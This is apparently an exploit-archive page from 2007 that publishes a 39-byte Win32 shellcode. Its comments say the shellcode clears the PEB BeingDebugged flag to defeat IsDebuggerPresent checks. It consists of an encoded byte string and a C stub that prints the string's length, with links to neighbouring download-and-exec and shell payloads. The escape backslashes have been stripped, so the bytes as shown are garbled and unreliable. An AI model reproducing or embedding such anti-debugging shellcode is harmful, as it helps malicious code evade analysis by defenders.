[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : win32 IsDebuggerPresent ShellCode (NT/XP) 39 bytes
# Published : 2007-05-31
# Author : ex-pb
# Previous Title : win32 Tiny Download and Exec Shellcode 192 bytes
# Next Title : linux/x86 raw-socket ICMP/checksum shell 235 byte 


/* Shellcode Length: 39 bytes  */
/* sets PEB->BeingDebugged to 0 */
/* IsDebuggerPresent()/BeingDebugged bypass */
/* by ex-pb @ screw_you@web.de */
/* greets: xgx and all i forgot */

#include <stdio.h>
#include <windows.h>

char ShellCode[] = "xEB"
"x0Fx58x80x30x95x40x81x38x68x61x63x6Bx75xF4xEBx05xE8xECxFFxFF"
"xFFxF1x34xA5x95x95x95xABx53xD5x97x95x56x68x61x63x6BxCD";

int main()
{
	printf("Shellcode length: %dn", strlen(ShellCode));
	return 0;
}

// www.Syue.com [2007-05-31]